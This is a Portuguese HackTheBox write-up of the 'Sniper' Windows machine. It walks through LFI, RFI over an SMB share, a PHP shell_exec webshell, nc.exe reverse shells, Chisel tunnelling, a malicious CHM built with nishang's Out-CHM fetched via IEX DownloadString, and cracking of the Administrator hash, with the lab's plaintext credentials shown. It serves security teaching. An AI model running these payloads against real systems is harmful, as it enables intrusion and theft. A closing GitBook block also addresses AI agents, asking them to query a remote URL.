> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-medium/sniper-hackthebox-writeup.md).

# Relato do Sniper HackTheBox

Relato do Sniper HackTheBox para máquina Windows de dificuldade média, cobrindo inclusão local de arquivo (LFI), inclusão remota de arquivo (RFI) (falhou), inclusão remota de arquivo por meio de servidor SMB (técnica net usershare) (sucesso)

{% embed url="<https://app.hackthebox.com/machines/211>" %}

{% hint style="warning" %}
Habilidades:

* Local File Inclusion (LFI)
* Inclusão Remota de Arquivo (RFI) (Falhou)
* Inclusão Remota de Arquivo via Servidor SMB (técnica net usershare) (Sucesso)
* Criando uma webshell e obtendo execução remota de comandos (RCE)
* Vazamento de Informações (Pivoting de Usuário)
* Brincando com Chisel e ScriptBlocks usando Invoke-Command
* Criando um arquivo CHM malicioso (Out-CHM.ps1) (Escalada de Privilégio)
  {% endhint %}

## Reconhecimento

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4b6915b94d27c4eb318bb317a73b39600762c4cd%2F%7BFDDC6D48-0A83-472B-97D2-D6A5435D14DB%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir uma comunicação estável com a máquina-alvo.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-13d9ebdae73de7486675a6b3976efd0eb51231fb%2Fimage%20(2481).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Descoberta de Portas Abertas com Nmap:**

Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.151 -oG allPorts
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f9d9d333f2c9efa3cade1b43e7c99b624921d68b%2F%7B58A19F4B-5FC2-44C6-8072-DD60D1D58649%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Análise das Portas Abertas com extractPorts:**

Use a função extractPorts para exibir as portas abertas em um formato conciso e copiá-las para a área de transferência. (80,135,139,445,496,67)

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f2704e5557c18309c801c5be29649d87d029abd1%2F%7BA9AC10F6-49A6-48B5-BE8C-704DC359D9E6%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Varredura de versão das portas com Nmap:**

Use o Nmap para escanear as versões dos serviços e salvar a saída no arquivo "targeted":

```bash
nmap -sCV -p80,135,139,445,49667 10.10.10.151 -oN targeted
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-369f97c376a352dcecd0ad895e54166b63cbb04f%2F%7B5C4B5ADC-0CB1-4C63-A2FC-152E99EEA0E7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Porta 80:

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-38ff6b874ca4bbffedfdadd9923ff89d3597331a%2F%7BA46BCCC8-15D5-4B86-BF5D-77D3D6A3777A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Análise com `whatweb`:**

Usamos `whatweb` para identificar as tecnologias usadas pelo servidor web:

{% code overflow="wrap" fullWidth="false" %}

```bash
whatweb 10.10.10.151
http://10.10.10.151 [200 OK] Bootstrap[3.0.0], Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.10.151], JQuery[2.1.3], Microsoft-IIS[10.0], PHP[7.3.1], Script, Title[Sniper Co.], X-Powered-By[PHP/7.3.1]
```

{% endcode %}

## **Vulnerabilidade LFI :**

Na página de mudança de idioma, havia um `lang` parâmetro para carregar diferentes arquivos PHP de acordo com o idioma escolhido.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ba81e253c257b72b3cd3df15d59995994eac3938%2Fimage%20(2483).png?alt=media" alt="" width="366"><figcaption></figcaption></figure>

Testamos com um arquivo local do sistema:

```url
http://10.10.10.151/blog/?lang=/Windows/System32/drivers/etc/hosts
```

* Isso nos permitiu exibir o conteúdo do `hosts` arquivo.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6aae1a3f300054bff149c9f79b10b3715b74b0b1%2F%7BCC466D14-D0E1-4C0A-BB7B-AEB791A681CB%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Tentativas de leitura de arquivo sensível com `php://filter`:**

Tentamos usar a LFI para ler o `index.php` arquivo do servidor web Microsoft IIS localizado em `/inetpub/wwwroot/index.php`, mas a operação via `php://filter` não funcionou.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5f6952fbeb4aeaed806b4b5c302123c6281ffd29%2F%7BAEB894E3-AD72-4E6B-93DA-220BA22330D4%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

```url
php://filter/convet.base64-encode/ressource=/inetpub/wwwroot/index.php
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-66d26389be7361c43d2f2dd11b32b5f7b1441a0a%2F%7B0D4D16A0-7B64-4E4E-8675-A9F2ADF10280%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Inclusão Remota de Arquivo (RFI) (Falhou)

#### Teste de RFI via servidor web remoto:

Tentamos carregar um arquivo remoto via `?lang=http://10.10.14.3/index.html` URL apontando para nosso servidor web local com Python3.

```bash
python3 -m http.server 80
```

```url
?lang=http://10.10.14.3/index.html
```

Mas não funcionou.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8c972571255d4270db5870c0386e2d19446b3217%2F%7B264F5A3B-1949-4DF5-A1B7-C15A83A37390%7D.png?alt=media" alt="" width="518"><figcaption></figcaption></figure>

## Inclusão Remota de Arquivo (Servidor SMB)

**Criar servidor SMB:**

Criamos um servidor SMB local usando `smbserver.py` e compartilhamos o diretório atual:

```bash
smbserver.py share $(pwd) -smb2support
```

Então tentamos carregar um arquivo do servidor SMB alterando o `lang` parâmetro

```bash
?lang=/10.10.14.3/share/index.html
```

* Dessa vez, o servidor interpretou corretamente nosso `index.html` arquivo, exibindo seu conteúdo ("Hello World").

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b299bc3d7f0a2787f429db429a43a5716cafff59%2Fimage%20(2484).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Criar um arquivo de webshell PHP (`cmd.php)`**

Criamos um `cmd.php` arquivo em nosso servidor SMB para executar comandos remotos via `cmd` parâmetro:

```bash
<?php
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>
```

/*/* Execução de comandos via SMB/*/*

```bash
//10.10.14.3/share/cmd.php&cmd=<command>
```

Usando a seguinte URL, executamos o `whoami` comando:

```bash
//10.10.14.3/share/cmd.php&cmd=whoami
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-401653792fb5d99d8b43d1b66c01a3c526766e0b%2Fimage%20(2485).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Shell reversa (nc.exe)

**Download `nc.exe` para shell reversa:**/ Recuperamos o `nc.exe` binário das ferramentas em execução em `/usr/share/SecLists/Web-Shells/FuzzDB/nc.exe` e o copiamos para o diretório de trabalho.

```bash
locate nc.exe 
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .
```

**Escutar na porta 443:**/ Configuramos um listener com `nc` para escutar na porta 443:

```bash
rlwrap nc -nvlp 443
```

**Execução da shell reversa via SMB:**/ Em seguida, iniciamos uma shell reversa apontando o `cmd` parâmetro para nosso arquivo

```
?lang=//10.10.14.3/share/cmd.php&cmd=//10.10.14.3/share/nc.exe -e cmd 10.10.14.3 443
```

Assim, obtivemos uma shell reversa para nossa máquina.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-219834e61616dd01b70028fc6d4d70935b8cf3b0%2F%7B54444252-CE2B-492D-8A2D-7B143D3AB383%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## Escalada de Privilégios

**Busca por arquivos sensíveis:**/ Procuramos informações sensíveis em arquivos PHP e encontramos o `db.php` arquivo contendo credenciais do banco de dados:

* Usuário: `dbuser`
* Senha: `36mEAhz/B8xQ~2VM`

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6b7d5f894b790e654823bbff405ccff335e56fb4%2Fimage%20(2486).png?alt=media" alt=""><figcaption></figcaption></figure>

**Validação de credenciais para outro usuário:**

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ee4fec3cbeac4d8833f5b2a07b9071a06e70e602%2Fimage%20(2487).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Descobrimos outro usuário chamado **Chris** além do usuário **Administrador**. Usamos **CrackMapExec** para validar se `Chris` as credenciais eram válidas:

```bash
crackmapexec smb 10.10.10.151 -u 'Chris' -p '36mEAhz/B8xQ~2VM'
```

* A conexão foi bem-sucedida.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7d2b6fb4c68868d7e92cda08e40e05d2929918d0%2Fimage%20(2488).png?alt=media" alt=""><figcaption></figcaption></figure>

**Verificar os privilégios do usuário "Chris":**

* Observamos que o usuário `Chris` pertencia ao **Remote Management User** grupo, permitindo que ele se conectasse remotamente.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5512fcc7d80b6b4bb69d10ee00bfbe05f8264f22%2Fimage%20(2489).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

/*/* Análise das portas abertas\:/*/*

A porta necessária para a conexão remota (porta 5985, usada pelo WinRM) não estava aberta externamente, mas internamente. Usamos `netstat` para verificar as portas em escuta na máquina alvo:

```bash
netstat -an | findstr "LISTEN"
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ecfb4852b3a69880b17a0f8e0eb1b0d9c4277453%2Fimage%20(2490).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## Redirecionamento de porta (5985 WinRM)

### 1. PowerShell

Iniciamos o PowerShell em nossa máquina de ataque:

```bash
powershell
```

Recuperamos o nome do ambiente Windows com o comando `hostname`, e descobrimos que o nome do host era `Sniper`.

```powershell
hostname
```

Então criamos uma variável para o usuário `Chris` e outra para a senha usando `ConvertTo-SecureString`:

```powershell
$user = "Sniper/Chris"
```

```powershell
$password = ConvertTo-SecureString '36mEAhz/B8xQ~2VM' -AsPlainText -Force
```

Então criamos um `PSCredential` objeto para poder executar comandos remotos na máquina alvo:

```bash
$cred = New-Object System.Management.Automation.PSCredential($user, $password)
```

**Execução de comandos remotos:**/ Usamos o seguinte comando para executar `whoami` remotamente e validar o acesso:

```powershell
Invoke-Command -Credential $cred -ComputerName Sniper -ScriptBlock {whoami}
```

* Isso nos permitiu confirmar que estávamos conectados corretamente como **Chris**.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0135fe9e7c807d77b3551354ec1c94572cf7ca0d%2F%7BC164E196-15F9-47E9-8181-332E588D62FD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Shell reversa :**/ Para obter acesso total ao sistema, configuramos um listener na porta 4444:

```bash
rlwrap nc -nlvp 4444
```

Então executamos uma shell reversa usando `nc.exe` a partir do nosso servidor SMB:

{% code overflow="wrap" %}

```powershell
Invoke-Command -Credential $cred -ComputerName Sniper -ScriptBlock {//10.10.14.3/share/nc.exe -e cmd 10.10.14.3 4444
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-99c89f22dcac66e737d1273b2348e8a191165c7c%2Fimage%20(2491).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### 2. Chisel

{% embed url="<https://github.com/jpillora/chisel/releases>" %}

**Baixar e preparar os arquivos:**/ Baixamos os arquivos compactados **Chisel** os arquivos, a saber:

* `chisel-linux`
* `chisel-windows.exe`

{% embed url="<https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_linux_amd64.gz>" %}

{% embed url="<https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_windows_amd64.gz>" %}

Após extraí-los, transferimos o **Chisel** arquivo para Windows para a máquina alvo:

```bash
copy //10.10.14.3/smb/chisel-windows.exe chisel-windows.exe
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d526647ace8cb7f952d5af57ecbf78da978c6211%2Fimage%20(2493).png?alt=media" alt=""><figcaption></figcaption></figure>

**Escutando na máquina atacante com Chisel:**/ Iniciamos **Chisel** em modo servidor na máquina atacante na porta 8888:

```bash
./chisel-linux server -p 8888 -reverse
```

Então, na máquina Windows alvo, executamos **Chisel** em modo cliente para se conectar à nossa máquina atacante e redirecionar a porta 5985 para nossa máquina:

```bash
chisel-windows.exe client 10.10.14.3:8888 R:5985:127.0.0.1:5985
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-438d6ad367a6619e2fe2763af5ebc98ca1ea9fa4%2F%7B67FDA5FA-CB70-4448-A6D8-C4DFFDA14342%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Verificação da porta redirecionada com `lsof`:**/ Verificamos que a porta 5985 estava bem redirecionada após a alteração com o comando:

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3c7b4eaa07406f6667566789036aa68d2536bb0d%2Fimage%20(2494).png?alt=media" alt=""><figcaption></figcaption></figure>

**Login com WinRM:**/ Usamos **CrackMapExec** para testar a conexão via **WinRM** na porta 5985 redirecionada:

```bash
crackmapexec winrm 10.10.14.3 -u 'Chris' -p '36mEAhz/B8xQ~2VM'
```

* Obtivemos o símbolo **comprometido**, confirmando que conseguimos acessar a máquina via WinRM.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c7fbecdfef69471669790d99c4e16d51399c5d8e%2F%7B7D3C96BD-38E1-4A27-ABBD-256E01F7E278%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Conexão final com Evil-WinRM:**/ Por fim, usamos **Evil-WinRM** para obter uma shell remota como **Chris**:

```bash
evil-winrm -i 10.10.14.3 -u 'Chris' -p '36mEAhz/B8xQ~2VM'
```

### Flag user.txt :)

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-62860bda2173707fcb8ff5e3350438efec6ba5d9%2F%7B28DB7A19-C223-4B29-9A72-A37E0D642FA8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Exploração do diretório "docs":**/ Na raiz de **Windows**, encontramos uma pasta **docs** contendo um arquivo `note.txt` arquivo com a seguinte mensagem:

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9f27d8c2d5253a54b9a504d899e563939f0bade2%2Fimage%20(2495).png?alt=media" alt=""><figcaption></figcaption></figure>

> Olá Chris,
>
> Suas habilidades em PHP são realmente ruins. Entre em contato com a Yamitenshi para que ela lhe ensine a usá-lo, depois conserte o site porque há muitos bugs nele. Também espero que você tenha preparado a documentação da nossa nova aplicação. Coloque-a aqui quando terminar.
>
> Atenciosamente,/ CEO da Sniper.

**Procurar documentação no sistema:**/ Procuramos a documentação mencionada pelo CEO e a encontramos no **Downloads** diretório dentro de **instructions.chm** arquivo.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-96260baa7b6d285ec416c3ea8661fab8ac19d188%2Fimage%20(2496).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### **Criação de arquivo CHM malicioso:**

Depois de descobrir que o CEO queria visualizar **CHM** arquivos no **docs** diretório, buscamos na Internet como criar arquivos CHM maliciosos.

{% embed url="<https://github.com/samratashok/nishang/blob/master/Client/Out-CHM.ps1>" %}

**Baixar HTML Help Tool:**/ Baixamos **HTML Help** e usamos um script PowerShell para criar um arquivo CHM malicioso

* [HTML Help](https://archive.org/download/htmlhelp/htmlhelp.exe)

```bash
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Client/Out-CHM.ps1')
```

Em seguida, modificamos o script para executar um comando malicioso remoto via **nc.exe**:

```bash
Out-CHM -Payload "//10.10.14.3/smb/nc.exe -e cmd 10.10.14.3 443" -HHCPath "C:/Program Files (x86)/HTML Help Workshop"
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-14e3664ea5513e709b0a1b28a5531ea3e5821454%2F%7B94D63DBE-CA13-43CE-A16C-513DF8654BA6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ee38606559c9f59c21d8f14ecf8ed3815b35f0ec%2F%7BD4FF2C78-CD9D-40A8-9E2F-1A38954D0959%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Injeção do arquivo CHM malicioso no diretório alvo:**/ Configuramos um servidor SMB em nossa máquina de ataque para transferir o arquivo malicioso para a máquina Windows alvo:

```bash
smbserver.py smbFolder $(pwd) -smb2support -username jordan -password jordan1234
```

/*/* Conectar ao compartilhamento SMB a partir da máquina vítima:/*/*/ A partir da máquina Windows alvo, montamos o compartilhamento SMB e copiamos o malicioso `doc.chm` arquivo:

```powershell
net use x: //192.168.0.190/smbFolder /user:jordan jordan1234
copy ./doc.chm x:/doc.chm
```

**Configurando para shell reversa:**/ Iniciamos um listener em nossa máquina atacante, aguardando uma conexão de shell reversa:

```bash
rlwrap nc -nlvp 443
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2f26e0b7e81bef0ff65663f9f3f845cb6fd46580%2Fimage%20(1033).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-50bebdbafaa2aa8f8b1a0c465de76c2405e881a1%2Fimage%20(1034).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

/*/* Problema encontrado:/*/*/ Embora o arquivo CHM tenha sido aberto, não recebemos uma shell reversa. No entanto, conseguimos capturar um **SMB Relay V2** em nosso servidor. Isso nos forneceu um hash de autenticação do usuário `Administrador`

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3efb1c6763f54e56ba7bcef32d7ba7dc50cc371e%2Fimage%20(1035).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Quebrar o hash do Administrador:**

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

`Administrator:butterfly!#1`

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-df397d07c9e785acfd58ad1d5315200cb80fe643%2F%7B207D90E0-6246-48CB-B5FF-80F5B9BAC1B2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Login como administrador:**

Com as credenciais obtidas, usamos **Evil-WinRM** para conectar à máquina como administrador:

```bash
evil-winrm -i 10.10.14.3 -u 'Administrator' -p 'butterfly!#1'
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8478e0d89721e97efd4efa65a38a2c8c690a711d%2F%7B04376DF4-AFFA-473A-8C14-35B3800CE43C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4c2c9ca17923aca1a90c4e2ed9cb52b988809e6a%2F%7B9A1DEF2C-6F87-486F-A2BB-88638E7F7E14%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-443079a66730b12d7a8288bfca59c0d51e952885%2F%7B1755EF50-6634-4549-81C9-9BC735645AD6%7D.png?alt=media" alt="" width="521"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-medium/sniper-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
